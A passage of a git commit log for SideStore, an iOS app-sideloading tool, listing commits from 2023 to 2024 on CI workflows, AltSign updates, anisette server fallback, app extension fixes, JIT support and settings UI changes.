Compare commits

..

255 Commits

Author SHA1 Message Date
June Park
01084039df [skipci] Bump to 0.5.10 for new nightly cycle
Signed-off-by: June Park <me@pythonplayer123.dev>
2024-12-24 22:58:19 +09:00
June Park
feb35d2b6e Update stable.yml
Signed-off-by: June Park <me@pythonplayer123.dev>
2024-12-24 22:48:48 +09:00
June
3e941cfb0d attempt to fix long standing bug in bundle ids 2024-12-24 22:37:04 +09:00
June Park
931a34cf7d Update stable.yml
Signed-off-by: June Park <me@pythonplayer123.dev>
2024-12-24 22:09:21 +09:00
June Park
43dc332329 Update pr.yml
Signed-off-by: June Park <me@pythonplayer123.dev>
2024-12-24 22:08:52 +09:00
June Park
c8ae28003f Update nightly.yml
Signed-off-by: June Park <me@pythonplayer123.dev>
2024-12-24 21:40:57 +09:00
June Park
cf32f25457 Use xcbeautify for nightlys
Signed-off-by: June Park <me@pythonplayer123.dev>
2024-12-24 21:38:45 +09:00
June Park
fee5309b50 Merge pull request #803 from neoarz/patch-1
Update README.md
2024-12-24 21:10:16 +09:00
June Park
b8c7f51d94 Merge pull request #809 from SideStore/junepark678/feat/updatealtsign
Add entitlements and other things
2024-12-24 19:29:39 +09:00
June Park
d00ce2bc11 Update Package.resolved
Signed-off-by: June Park <me@pythonplayer123.dev>
2024-12-24 18:08:51 +09:00
June Park
2402655e56 Update Package.resolved
Signed-off-by: June Park <me@pythonplayer123.dev>
2024-12-24 18:04:24 +09:00
June Park
283f7a998a Update project.pbxproj
Signed-off-by: June Park <me@pythonplayer123.dev>
2024-12-24 18:00:15 +09:00
June Park
2b355dbf8c Update AppManager.swift
Signed-off-by: June Park <me@pythonplayer123.dev>
2024-12-24 17:56:40 +09:00
June
ead80e50f9 update altsign 2024-12-24 17:56:40 +09:00
June
71c53d81c2 work harder 2024-12-24 17:56:40 +09:00
June
8498f3df94 update again 2024-12-24 17:56:40 +09:00
June
faa1555294 update altsign again 2024-12-24 17:56:40 +09:00
June Park
110f70e34c cache harder
Signed-off-by: June Park <me@pythonplayer123.dev>
2024-12-24 16:39:59 +09:00
June
cd3b4c46b4 fixes 2024-12-24 15:15:23 +09:00
June
60a0657721 fix roxas 2024-12-24 14:37:41 +09:00
June
62c655c927 fix build 2024-12-24 14:33:50 +09:00
June
84b0f134b0 things 2024-12-24 14:29:50 +09:00
Rose
09902a3f71 Update StoreApp.swift
Signed-off-by: Rose <cool5tarXV@gmail.com>
2024-12-24 14:26:10 +09:00
Rose
3db004c733 added fix + todo
Signed-off-by: Rose <cool5tarXV@gmail.com>
2024-12-24 14:26:10 +09:00
June P
4a566d8823 fix altsign 2024-12-23 01:08:20 +09:00
June P
d37e033d35 Revert "Update AltSign to newer revision"
This reverts commit afca84a852.
2024-12-23 01:07:24 +09:00
June
afca84a852 Update AltSign to newer revision 2024-12-23 00:44:26 +09:00
neoarz
9e0c5dab1a Update README.md
discord link was expired

Signed-off-by: neoarz <164915254+neoarz@users.noreply.github.com>
2024-12-19 22:49:06 -05:00
Magesh K
77eaa2fb5a [dependencies]: updated Package.resolved to use latest commit for altsign 2024-12-12 20:52:09 +05:30
Magesh K
b81ba38d1c [settings]: refined style for last row in REFRESHING APPS section 2024-12-12 20:11:57 +05:30
Magesh K
d5a9050464 [settings]: Fix: siri shortcut missing from settings 2024-12-12 20:11:57 +05:30
Magesh K
3c99fe22d3 [fetch-prebuilt.sh]: force download when libs are missing locally and skip file is absent (#796)
* [fetch-prebuilt.sh] - retain checked-in files from minimuxer repo (assuming minimuxer repo was cloned)

* [fetch-prebuilt.sh]: force download when libs are missing locally and skip file is absent
2024-12-12 00:53:57 -05:00
Magesh K
f5b47d0508 [fetch-prebuilt.sh] - retain checked-in files from minimuxer repo (assuming minimuxer repo was cloned) 2024-12-08 20:21:37 +05:30
Magesh K
db84a38519 updated fetch-prebuilt.sh to reflect libem_proxy-ios.a renaming 2024-12-08 19:37:27 +05:30
Magesh K
c466e7698a Updated LIB_FILE_NAME used in minimuxer shell script to link the binary 2024-12-08 19:30:38 +05:30
Magesh K
6a8283a163 - renamed libem_proxy.a to libem_proxy-ios.a for iOS builds 2024-12-08 19:05:23 +05:30
Magesh K
1ee334ca68 Added launch arguments for coredata debugging and updated Scheme from AltStore to SideStore (#785) 2024-12-08 07:50:33 -05:00
ny
a3a34eb9ef fix: Refreshing via Xcode would cause a crash here 2024-11-30 00:50:10 -05:00
Magesh K
db633c90be - Show Toast regarding server switch due to fallback if UI context is available 2024-11-28 22:01:47 +05:30
Magesh K
5e0e4dbd4e - Fix: AnisetteServers: refresh server request shouldn't use local cache to get proper updates 2024-11-28 19:12:50 +05:30
Magesh K
090967c21d - Fix: refresh(): app was being accessed after de-alloc causing EXC_BREAKPOINT 2024-11-28 18:49:53 +05:30
Magesh K
6c8e9b886d - Fix: Anisette-server-fallback: Try currently selected server first 2024-11-28 18:46:08 +05:30
Magesh K
2bb2eea226 -[Feature]: client-side: Anisette server fallback impl when current server is unreachable (#773) 2024-11-27 18:38:54 -05:00
Magesh K
a2bb26a86e - Fix: DatabaseManager.migrateDatabaseToAppGroupIfNeeded() src and dest for replaceAt() cannot be same 2024-11-28 02:47:01 +05:30
Stern
948a8eb90b Merge pull request #770 from mahee96/develop 2024-11-24 13:23:43 -05:00
Magesh K
e66e223189 Fix: update sign-in screen toast text color to be primary color 2024-11-24 23:06:39 +05:30
Magesh K
2aee6ac57e -[xcode]: revert enabling debug dylib support for widgets 2024-11-24 19:16:18 +05:30
Stephen
66abac80d8 Twitter Updates & Email Support (#762) 2024-11-21 12:12:47 -05:00
Stern
a1e0d5f834 (chore:) Update Twitter Link
Signed-off-by: Stern <stern@sidestore.io>
2024-11-19 16:00:48 -05:00
Joe Mattiello
6a1181b21f Change gitignore, add package.resolve (#748) 2024-11-11 23:10:44 -05:00
kaoneko
c25ae10873 Update message about Disable Idle Timeout setting (#747) 2024-11-11 15:12:49 -05:00
Magesh K
2842c8f669 Widgets-Fix: Ported Widget compatibility for ios 18+ from altstore (#746) 2024-11-11 14:46:33 -05:00
Magesh K
3161892585 Background and shortcut refresh fix - remove only excess extensions from new package during install (#743) 2024-11-10 13:01:31 -05:00
Magesh K
489843f987 Partial-Fix for #723: Error on refresh operation must be set on self.context instead of group.context (#742) 2024-11-10 06:11:44 -05:00
Magesh K
dc0b30ab67 -[diagnostics]: Added diagnostics for RefreshAppOperation failure 2024-11-10 16:31:28 +05:30
Magesh K
c3235cc554 -[cleanup]: added guard check to remove file only if it exists 2024-11-10 16:27:29 +05:30
Magesh K
6568e5918a -[bug-fix]: UI Api invocation needs to be on UI Thread 2024-11-10 16:27:29 +05:30
Michael
91fba6db99 Add missing = sign (#739) 2024-11-09 22:20:23 -05:00
Stern
6b7e9a66f1 Merge pull request #738 from mahee96/develop
-[cleanup]: restore changes dropped from altstore-1.6.3 merge by 1713fcc
2024-11-09 19:05:59 -05:00
Magesh K
3682b65a4a restore changes dropped from altstore by 1713fcc 2024-11-10 03:04:24 +05:30
Magesh K
117412645b diagnostics: improved error logging for OperationError.invalidParameters (#736) 2024-11-09 04:05:18 -05:00
Stern
c784ff6925 chore: We need to add Homebrew to our path or Xcode will not find it.
Signed-off-by: Stern <stern@sidestore.io>
2024-11-08 23:56:27 -05:00
Stern
cf477024fc chore: Add checks to fetch-prebuilt script.
This adds a check that if for example wget isn't installed it'll install from brew via brew install.

Signed-off-by: Stern <stern@sidestore.io>
2024-11-08 23:24:46 -05:00
Magesh K
d595b7037f refresh-app: enhanced error logging when app extension validation check fails (#730)
refresh-app: enhanced error logging when app exenstion validation check fails
2024-11-04 04:05:13 -05:00
June Park
0c5007c8d8 Merge pull request #729 from mahee96/sidestore-crash-xcode
xcode: Debug dylib support is still broken in iOS 18 causing "No Entry Point Found. checked(null)"
2024-11-04 17:39:05 +09:00
Magesh K
8a87445d1f Fix-regression: restored update-check logic(2a392dd) in InstalledApp.swift which was dropped in (1713fcc) (#728) 2024-11-04 03:38:28 -05:00
Magesh K
76a693fae4 xcode: Debug dylib is still broken in iOS 18 causing "No Entry Point Found. checked(null)" 2024-11-04 12:53:30 +05:30
Magesh K
9c150d5f4a Fix for Refresh Operation causing renewal/install of provisioning profiles for removed app extensions (#727)
* Fix AppExtensions not being updated on Disk after db is updated in InstallAppOperation

* refresh-Extensions: Added check to ensure extensions in DB and DISK matches if not then cancel current refresh request
2024-11-03 17:30:39 -05:00
ny
e5febcdc6c More attempts at fixing app limit issues 2024-10-24 00:41:29 -04:00
ny
1e969a0888 Attempt to make the bypass more sane 2024-10-23 07:31:52 -04:00
ny
72bb549ea3 Clean/fix this implementation 2024-10-23 06:44:39 -04:00
ny
3c7cfdd91f Fix detection for SparseRestore patch 2024-10-23 06:07:58 -04:00
Moonsn
b21f80cdd7 feat: show custom anisette server list if set (#717) 2024-10-22 20:16:37 -04:00
nythepegasus
867a9c77e6 Actually fix deprecation warnings 2024-10-17 06:14:44 -04:00
nythepegasus
bc2d2c18fc Update GH Actions to fix deprecation warnings 2024-10-17 05:58:38 -04:00
nythepegasus
ab923d245d Try to fix refreshing and removing extensions
Silly fix

Signed-off-by: nythepegasus <me@nythepegas.us>
2024-10-17 05:18:10 -04:00
nythepegasus
fcf1b9ae03 Remove this
Should fix remove app extensions

Signed-off-by: nythepegasus <me@nythepegas.us>
2024-10-17 04:47:42 -04:00
ny
59896e4f89 Add a few more checks for app limits 2024-10-11 02:50:48 -04:00
ny
2a9f88c810 Add a max limit 2024-10-11 02:33:25 -04:00
ny
e98b0a3758 Fix these actions to point correctly 2024-10-11 02:24:36 -04:00
ny
0cb6da7be4 Fix up this so it actually sets the value 2024-10-11 01:48:01 -04:00
ny
fc3ff41fc4 Add bad app limit toggle implementation 2024-10-11 01:12:22 -04:00
Stern
719ddc8263 (fix:) Update Patreon Secret and links
Signed-off-by: Stern <stern@sidestore.io>
2024-09-16 07:18:41 -04:00
nythepegasus
9f6b1284bb [skipci] Bump to 0.5.9 for new nightly cycle
Signed-off-by: nythepegasus <me@nythepegas.us>
2024-09-07 14:44:14 -04:00
polymo1
bfb4a90fdd legal: developer's certificate of origin 1.1 (#686) 2024-09-07 14:23:16 -04:00
nythepegasus
d1b6bedc30 Attempt to fix sharing ipa files
Yeah, yeah, I shouldn't commit to develop, I have a hunch though

Signed-off-by: nythepegasus <me@nythepegas.us>
2024-09-02 08:19:28 -04:00
June Park
b78c75d829 [skip ci] Update bug_report.yml
Signed-off-by: June Park <me@pythonplayer123.dev>
2024-08-20 17:53:50 +09:00
June
4518f07b5b add entitlements 2024-08-19 11:14:42 +09:00
June Park
b4e18c50d3 Selective app extension removal (#677) 2024-08-16 21:28:42 -04:00
June Park
d18482a04a [no ci] Update pr.yml to cache builds
Signed-off-by: June Park <me@pythonplayer123.dev>
2024-08-17 10:14:04 +09:00
June
f3d9dd777d Make app extension popup less annoying by not showing when refreshing (it doesn't do anything anyway) 2024-08-17 00:16:55 +09:00
June Park
e117c4b9a3 Remove cache clear
We don't need to do this anymore

Signed-off-by: June Park <me@pythonplayer123.dev>
2024-08-16 15:41:02 +09:00
June
95666178e5 Fix certificate issues 2024-08-16 15:34:57 +09:00
June Park
56403466b9 [skip ci] add caches to stable.yml
Signed-off-by: June Park <me@pythonplayer123.dev>
2024-08-16 14:32:25 +09:00
June Park
c7344ef548 [skip ci] add caches to beta
Signed-off-by: June Park <me@pythonplayer123.dev>
2024-08-16 14:30:47 +09:00
June Park
71c4abfce8 Make caches not have workflow name
Signed-off-by: June Park <me@pythonplayer123.dev>
2024-08-16 14:30:13 +09:00
nythepegasus
0613af2240 Bump SideStore Version to 0.5.8
For this current nightly track of commits until we "officially" release it

Signed-off-by: nythepegasus <me@nythepegas.us>
2024-08-16 01:22:58 -04:00
J. Laymon
dd832ad6df Better pairing file info (#676)
makes the pop up give you a button to press for help rather than giving a plaintext url to a page that doesn't exist
2024-08-16 01:20:53 -04:00
June P
8cf7bc9998 [build] need to see if caching works 2024-08-16 13:40:04 +09:00
June
c1cf11c04c Increase runtime performance 2024-08-16 13:32:35 +09:00
June Park
0058c40f46 Add incremental builds
Signed-off-by: June Park <me@pythonplayer123.dev>
2024-08-16 13:17:07 +09:00
June
1397389f95 Make app extensions optional across the board 2024-08-16 12:58:06 +09:00
June Park
6a2d3e1d22 Delete AltStore.xcodeproj/project.xcworkspace/xcshareddata/swiftpm/Package.resolved
Signed-off-by: June Park <me@pythonplayer123.dev>
2024-08-15 22:13:19 +09:00
June
46ac704013 more descriptive machine names for generated certs 2024-08-15 22:09:16 +09:00
June Park
0fdab2a5c5 Makes revoking optional (#675) 2024-08-14 20:08:37 -07:00
June Park
8f4586bfef Add nightly.link description
Signed-off-by: June Park <me@pythonplayer123.dev>
2024-08-15 12:00:39 +09:00
June
52d0c9861f More descriptive errors 2024-08-15 11:21:50 +09:00
stossy11
feace61eb4 Fix SideJITServer Support for iOS 17+ (#674)
* FIx SideJITServer Support

* Fix SideJITServer Address

* Add Warning when Overwriting SideJITServer Address

* Fix Optional Value for SideJITServer URL

* Update SideJITServer Address Overwriting

* Fix Enabling JIT and Fix IP Address Loop

* Fix No WiFi or VPN! error when using SideJITServer
2024-08-14 16:58:26 -07:00
June Park
1f5cc8f283 Make it so we don't flood altstore
Signed-off-by: June Park <me@pythonplayer123.dev>
2024-08-14 21:34:22 +09:00
June Park
60b8520237 Add nightly.link support
Pushing directly as this shouldn't mess anything other than CI up

Signed-off-by: June Park <me@pythonplayer123.dev>
2024-08-14 21:14:27 +09:00
Stern
6a67c5e9a2 Merge pull request #673 from 0-Blu/develop
Added more feedback options.
2024-08-13 14:48:17 -04:00
Stephen
bcc241518c Update SettingsViewController.swift
Signed-off-by: Stephen <158498287+0-Blu@users.noreply.github.com>
2024-08-13 14:15:31 -04:00
Stephen
6dfa8f1556 Update SettingsViewController.swift
Signed-off-by: Stephen <158498287+0-Blu@users.noreply.github.com>
2024-08-12 22:30:15 -04:00
Stephen
19dde692b2 Added more feedback options.
Signed-off-by: Stephen <158498287+0-Blu@users.noreply.github.com>
2024-08-12 19:21:59 -07:00
Stern
14dc93b5d2 Merge pull request #672 from 0-Blu/develop
UI Improvements for the Anisette Servers View.
2024-08-12 20:46:44 -04:00
Stephen
547620235e Update AnisetteServerList.swift
Signed-off-by: Stephen <158498287+0-Blu@users.noreply.github.com>
2024-08-12 20:31:13 -04:00
Stephen
b43fd0a54b Fixed Dark Mode for AnisetteServerList.swift
Signed-off-by: Stephen <158498287+0-Blu@users.noreply.github.com>
2024-08-12 16:53:45 -04:00
Stephen
8b782c9416 Better AnisetteServerList.swift (NEEDS TESTING!!!!!!)
Signed-off-by: Stephen <158498287+0-Blu@users.noreply.github.com>
2024-08-12 15:14:57 -04:00
nythepegasus
aab4e62e24 Bump SideStore version to 0.5.7
Signed-off-by: nythepegasus <nythepegasus84@gmail.com>
2024-08-05 21:44:59 -04:00
June Park
1713fccfc4 merge AltStore 1.6.3, add dynamic anisette lists, merge SideJITServer integration
* Change error from Swift.Error to NSError

* Adds ResultOperation.localizedFailure

* Finish Riley's monster commit

3b38d725d7
May the Gods have mercy on my soul.

* Fix format strings I broke

* Include "Enable JIT" errors in Error Log

* Fix minimuxer status checking

* [skip ci] Update the no wifi message to include VPN

* Opens Error Log when tapping ToastView

* Fixes Error Log context menu covering cell content

* Fixes Error Log context menu appearing while scrolling

* Fixes incorrect Search FAQ URL

* Fix Error Log showing UIAlertController on iOS 14+

* Fix Error Log not showing UIAlertController on iOS <=13

* Fix wrong color in AuthenticationViewController

* Fix typo

* Fixes logging non-AltServerErrors as AltServerError.underlyingError

* Limits quitting other AltStore/SideStore processes to database migrations

* Skips logging cancelled errors

* Replaces StoreApp.latestVersion with latestSupportedVersion + latestAvailableVersion

We now store the latest supported version as a relationship on StoreApp, rather than the latest available version. This allows us to reference the latest supported version in predicates and sort descriptors.

However, we kept the underlying Core Data property name the same to avoid extra migration.

* Conforms OperatingSystemVersion to Comparable

* Parses AppVersion.minOSVersion/maxOSVersion from source JSON

* Supports non-NSManagedObjects for @Managed properties

This allows us to use @Managed with properties that may or may not be NSManagedObjects at runtime (e.g. protocols). If they are, Managed will keep strong reference to context like before.

* Supports optional @Managed properties

* Conforms AppVersion to AppProtocol

* Verifies min/max OS version before downloading app + asks user to download older app version if necessary

* Improves error message when file does not exist at AppVersion.downloadURL

* Removes unnecessary StoreApp convenience properties

* Removes unnecessary StoreApp convenience properties as well as fix other issues

* Remove Settings bundle, add SwiftUI view instead

Fix refresh all shortcut intent

* Update AuthenticationOperation.swift

Signed-off-by: June Park <rjp2030@outlook.com>

* Fix build issues given by develop

* Add availability check to fix CI build(?)

* If it's gonna be that way...

---------

Signed-off-by: June Park <rjp2030@outlook.com>
Co-authored-by: nythepegasus <nythepegasus84@gmail.com>
Co-authored-by: Riley Testut <riley@rileytestut.com>
Co-authored-by: ny <me@nythepegas.us>
2024-08-05 21:43:52 -04:00
Stern
83ece72ae1 Merge pull request #658 from therealFoxster/develop
Rename "AltStore" to "SideStore"
2024-07-19 18:50:32 -04:00
Foxster
d60bcc49e1 Rename "AltStore" to "SideStore" 2024-07-17 16:21:39 -07:00
bogotesr
bc9c37adda Revert "improve UX on intro popup"
This reverts commit 2583c7f617.
2024-07-12 02:40:26 -07:00
bogotesr
2583c7f617 improve UX on intro popup
fixes that the url for the pairing file info was out of date

adds button for taking user to that page rather than just having a url in text
2024-07-12 02:37:06 -07:00
polymo1
fea5229e02 add(readme): discord badge 2024-07-07 20:07:36 -04:00
stossy11
68be615057 Add SideJITServer Support for Enabling JIT on iOS 17+ in app (#630) 2024-06-16 16:43:25 -07:00
Stern
370cafcba0 Merge pull request #612 from stossy11/MyAnisette
Add Stossy11 Anisette Server
2024-04-29 09:03:05 -04:00
stossy11
f923c1602e Add Stossy11 Anisette Server 2024-04-29 23:01:07 +10:00
nythepegasus
50a85be872 Actually fix embedded pairing file issue 2024-04-23 03:20:40 -04:00
Stern
aae4725a3c Merge pull request #604 from wesbryiecom/develop 2024-04-14 20:55:56 -07:00
Wes Bryie
9d76ee9f19 Add ani.wesbryie.com to Anisette list
Signed-off-by: Wes Bryie <wes@wesbryie.com>
2024-04-14 23:43:04 -04:00
Spidy123222
34a101b796 Remove patreon exclusivity message for sources (#594) 2024-03-14 01:39:40 -07:00
nythepegasus
49b1fd751c Remove outdated/down servers for now
Eventually this could be dynamically pulled/inside SideStore
but extra DNS entries and cleaning can work for now
2024-02-23 20:11:00 -05:00
nythepegasus
4c5bf7bb7d Fix pairing file not resetting when embedded 2024-02-23 19:46:31 -05:00
nythepegasus
2d71631d93 [skip ci] Fixed typo
Signed-off-by: nythepegasus <nythepegasus84@gmail.com>
2024-02-16 13:55:33 -05:00
Stern
fa0d933956 [skip ci] Adds ThatStella7922's Trusted Source
Signed-off-by: Stern <70122891+SternXD@users.noreply.github.com>
2024-02-16 13:44:37 -05:00
June P
b5d6384a07 bugfix(launch):fix analytics notice 2024-01-30 10:52:22 +09:00
June Park
d39644a4c9 Update stable.yml
Signed-off-by: June Park <rjp2030@outlook.com>
2024-01-30 10:40:34 +09:00
June Park
a2feb34dc1 ouch pushed selfhosted code
Signed-off-by: June Park <rjp2030@outlook.com>
2024-01-30 10:40:07 +09:00
June P
7e5fe64153 feat(launch):add analytics notice 2024-01-30 10:04:33 +09:00
June Park
44175d071c Update nightly.yml
Signed-off-by: June Park <rjp2030@outlook.com>
2024-01-25 23:28:58 +09:00
June P
bae26de444 change to self-hosted 2024-01-25 23:18:28 +09:00
naturecodevoid
b78707808d [skip ci] Remove me from feature report assignees
Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>
2023-12-12 18:32:21 -08:00
naturecodevoid
d41518581a [skip ci] Remove me from bug report assignees
Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>
2023-12-12 18:32:05 -08:00
Stern
4abbfe6142 [skip ci] ci: Update stable.yml
This removes workflow_dispatch as it was making the builds show as SideStore `develop`

Signed-off-by: Stern <xsternent@gmail.com>
2023-11-28 05:50:44 -05:00
Stern
dae813d80c Merge pull request #550 from SideStore/Add-description-for-idle
Add description on what disable idle timeout toggle + change add to Siri text for accuracy
2023-11-28 03:12:22 -05:00
Spidy123222
af89b178ad Change button text for adding Siri to refresh apps
Signed-off-by: Spidy123222 <64176728+Spidy123222@users.noreply.github.com>
2023-11-27 23:39:20 -08:00
Spidy123222
8c269207fd add description on what disable idle timeout toggle
Signed-off-by: Spidy123222 <64176728+Spidy123222@users.noreply.github.com>
2023-11-27 23:18:36 -08:00
junepark678
42ecd38517 bugfix(NoIdle): Fix slider not being set to correct value on load 2023-11-28 12:00:20 +09:00
June Park
9f7d4dee49 [skip ci] bump nightly to 0.5.5
Signed-off-by: June Park <rjp2030@outlook.com>
2023-11-28 03:02:04 +09:00
June P
458b8e491e bugfix: fix removal of attributes 2023-11-28 02:34:15 +09:00
Stern
495e621e69 Merge pull request #539 from junepark678/NoIdle
feat(Operations): don't idle timeout during installations
2023-11-27 12:12:10 -05:00
June P
c986512b5f bugfix: fix appending to a list that is nil 2023-11-28 02:04:14 +09:00
June Park
d277754ae5 Merge branch 'develop' into NoIdle
Signed-off-by: June Park <rjp2030@outlook.com>
2023-11-28 00:46:48 +09:00
junepark678
2ef2e2f26b bugfix: make it able to be toggled, fix bug in crash on installation 2023-11-28 00:44:47 +09:00
nythepegasus
23a53034fa [skip ci] Bump nightly to 0.5.4
Signed-off-by: nythepegasus <nythepegasus84@gmail.com>
2023-11-27 10:39:41 -05:00
Stern
ce57d72a78 [skip ci] ci: add workflow_dispatch
Signed-off-by: Stern <xsternent@gmail.com>
2023-11-27 10:18:06 -05:00
nythepegasus
502b89d890 [skip ci] Add other project maintainers to CODEOWNERS
Signed-off-by: nythepegasus <nythepegasus84@gmail.com>
2023-11-27 09:37:25 -05:00
junepark678
5f0015fad0 chore(Clear Cache): do proper error handling 2023-11-27 09:31:36 -05:00
June Park
c81236957b bugfix(settings): fix rounding issues on clear cache button (#536) 2023-11-27 09:31:36 -05:00
Spidy123222
970ab38b27 move debug row 2023-11-27 09:31:36 -05:00
Spidy123222
8a5c31b81d make button function again 2023-11-27 09:31:36 -05:00
Spidy123222
8508fe79b5 change order of settings debug section 2023-11-27 09:31:36 -05:00
Spidy123222
3859e98801 Add button to storyboard 🙄 2023-11-27 09:31:36 -05:00
Spidy123222
a759c7be9e please fix to show button 2023-11-27 09:31:36 -05:00
Spidy123222
12fc6cf6e2 attempt fix settings 2023-11-27 09:31:36 -05:00
Spidy123222
580db6530e fix the mighty error 2023-11-27 09:31:36 -05:00
Spidy123222
9c67c237ee get rest of batcherror 2023-11-27 09:31:36 -05:00
Spidy123222
357d85a72e please o riley build 2023-11-27 09:31:36 -05:00
Spidy123222
88ad828ce0 hopefully fix error code build error 2023-11-27 09:31:36 -05:00
Riley Testut
a95625a34a Adds “Clear Cache” description to Techy Things section footer
(cherry picked from commit 913db5131b)
2023-11-27 09:31:36 -05:00
Riley Testut
95e00d81f5 Adds “Clear Cache” button to remove temporary files and uninstalled app backups
(cherry picked from commit 3adfc9db6d)
2023-11-27 09:31:36 -05:00
junepark678
c2e386a5c5 chore(App IDs, My Apps): change back to full 2023-11-27 09:22:19 -05:00
junepark678
a76aade4ff chore(App IDs, My Apps): change to use DateComponentsFormatter.UnitsStyle.abbreviated 2023-11-27 09:22:19 -05:00
junepark678
65c9986103 bugfix(App IDs, My Apps): fix date display 2023-11-27 09:22:19 -05:00
junepark678
9e2b9b6639 bugfix(App IDs, My Apps): display only necessary information 2023-11-27 09:22:19 -05:00
junepark678
cf373634d7 bugfix(App IDs, My Apps): calculate in correct direction in time (we aren't time travelers) 2023-11-27 09:22:19 -05:00
junepark678
b3d5d976b4 feat(My Apps): make expiration dates more specific 2023-11-27 09:22:19 -05:00
junepark678
c3c31995ce chore(App IDs): localize Unknown string 2023-11-27 09:22:19 -05:00
junepark678
7e92e17429 feat(App IDs): make expiration dates more specific 2023-11-27 09:22:19 -05:00
junepark678
88ab8fa8d7 feat: remove reliance on Info.plist for getting udid 2023-11-27 09:21:54 -05:00
junepark678
ebe78932bf feat(Operations): don't idle timeout during installations 2023-11-26 10:51:33 +09:00
nythepegasus
2e613e6d15 [skip ci] Update Ignited source URL 2023-11-06 09:02:49 -05:00
Spidy123222
35ee92db12 Change pairing file link with new wiki link
Signed-off-by: Spidy123222 <64176728+Spidy123222@users.noreply.github.com>
2023-10-23 13:12:23 -07:00
nythepegasus
04d9f760ad Fix AltWidget App Group issue 2023-10-23 10:12:09 -04:00
naturecodevoid
4f52743be8 Revert most of xcodeproj changes 2023-10-21 20:44:49 -07:00
naturecodevoid
32cae7a5b2 Revert "Attempt to fix submodule dependencies for GH runner"
This reverts commit 5cff914ff3.
2023-10-21 20:30:32 -07:00
naturecodevoid
c2c0e3b790 Use forked libplist 2023-10-21 20:30:23 -07:00
nythepegasus
6d36a30787 [skip ci] Bump nightly to 0.5.3
Signed-off-by: nythepegasus <nythepegasus84@gmail.com>
2023-10-21 21:02:41 -04:00
nythepegasus
48a86ec6de Update Roxas 2023-10-21 20:35:32 -04:00
nythepegasus
5cff914ff3 Attempt to fix submodule dependencies for GH runner 2023-10-21 20:34:44 -04:00
nythepegasus
70ea725ce3 Update limd/libplist submodules 2023-10-20 22:04:47 -04:00
nythepegasus
78f12e45f9 Add iOS 17 JIT error notice with other errors 2023-10-20 21:51:24 -04:00
nythepegasus
e5061acc20 Hardcode SideStore's URL scheme for now 2023-10-20 21:51:24 -04:00
nythepegasus
2d7bc51d30 Revert this change 2023-10-20 21:51:24 -04:00
nythepegasus
9128b67ee8 Add newly compiled AltBackup 2023-10-20 21:51:24 -04:00
Bogdan Seniuc
551c004476 Use provisioning profile details instead of guessing active app limit 2023-10-20 21:50:50 -04:00
Spidy123222
ed6a8d1379 [skip ci] Remove emuthreeds from trusted sources 2023-10-18 21:44:55 -07:00
nythepegasus
766fb89e0b Change this to be hardcoded SideStore search 2023-10-17 17:38:09 -04:00
nythepegasus
c5b8cb4459 Remove buggy retry code finally 2023-10-17 17:37:29 -04:00
naturecodevoid
0deae92829 Bump version to 0.5.2 so nightly builds have a higher SemVer version than stable 2023-09-18 16:18:05 -07:00
naturecodevoid
cc5d2f1813 Build nightly with latest minimuxer changes to attempt to fix plist_from_memory crash 2023-09-18 16:17:14 -07:00
naturecodevoid
41151d0d49 0.5.1 2023-09-17 14:01:13 -07:00
Spidy123222
52702264a3 Change version to 0.5.2 2023-09-17 12:36:44 -07:00
naturecodevoid
6e297e1278 Update Swift Packages and submodules (#469)
* Update Swift Packages

* Update submodules

* make sure it builds

---------

Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>
2023-09-17 10:45:55 -07:00
naturecodevoid
e3bb9b425f [skip ci] Add more information to staging errors (#468)
* Point to my forks and attempt to add more information to staging errors

* Improve error message a bit

* Revert fetch-prebuilt.sh changes

* Undo some whitespace changes

* missed one

* oops

* [skip ci]

* [skip ci]

* [skip ci] remove staging directory from install app error

Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>

---------

Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>
Co-authored-by: Dadoum <dadoum@protonmail.com>
2023-09-17 10:37:49 -07:00
Spidy123222
79255be79c Update Altsign (August 6) (#467)
This changes the git commit or be our latest altsign version.
2023-09-16 01:51:35 -07:00
nythepegasus
7c836f5ba1 Update emuplace source
Signed-off-by: nythepegasus <nythepegasus84@gmail.com>
2023-08-13 11:54:00 -04:00
Spidy123222
938bcd14ad Add ignited source
Signed-off-by: Spidy123222 <64176728+Spidy123222@users.noreply.github.com>
2023-08-06 14:15:51 -07:00
Joelle Stickney
229d79fc05 Removed Quantum Source
Signed-off-by: Joelle Stickney <joellestickney+commit@gmail.com>
2023-08-06 16:26:24 -04:00
Joelle Stickney
2d3dac2e1d Added Quantum Source to trusted sources
Signed-off-by: Joelle Stickney <joellestickney+commit@gmail.com>
2023-08-06 15:30:21 -04:00
nythepegasus
e23f5e7894 [skip ci] Change Discord custom invite to static website invite
Signed-off-by: nythepegasus <nythepegasus84@gmail.com>
2023-08-04 13:17:02 -04:00
Spidy123222
571d27c814 Fix message and put in proper spot.
Signed-off-by: Spidy123222 <64176728+Spidy123222@users.noreply.github.com>
2023-07-27 23:42:32 -07:00
Spidy123222
dde6bd4fe3 Make Notification explanation smaller for refresh
Signed-off-by: Spidy123222 <64176728+Spidy123222@users.noreply.github.com>
2023-07-27 23:17:58 -07:00
Nythepegasus
6e6dbd9329 Bump version to 0.5.0 2023-07-27 06:56:51 -04:00
Nythepegasus
258268f5ef Update default anisette server 2023-07-27 06:55:31 -04:00
Nythepegasus
9ae49977fb Fix going to the home screen 2023-07-27 06:23:26 -04:00
Nythepegasus
d61c54fa60 Reintroduce notification/pop-up 2023-07-27 06:23:26 -04:00
Nythepegasus
980699af6f Remove extra returns and make sure to decrement 2023-07-27 06:23:26 -04:00
Nythepegasus
cc5c280882 Finally fix retries for minimuxer calls 2023-07-27 06:23:26 -04:00
nythepegasus
090456bba1 [skip ci] Merge pull request #419 from Nythepegasus/chore/up-fixes
[Chore] Pull upstream changes from AltStore
2023-07-27 06:22:54 -04:00
nythepegasus
5354d4eb76 Merge pull request #414 from SideStore/patch/fix-widget
[Patch] Change Widget entitlements to search hardcoded group first
2023-07-27 06:11:48 -04:00
Riley Testut
b986fae611 Enforces 77x31 minimum size for PillButton 2023-07-27 04:47:44 -04:00
Riley Testut
cfcfc3e928 Fixes incorrect cell height for some News items
We need to take layoutMargins into account when calculating the height of the prototype cell.
2023-07-27 04:47:44 -04:00
Riley Testut
f97548fc3a Fixes UIDocumentPickerViewController deprecation warnings 2023-07-27 04:47:44 -04:00
Riley Testut
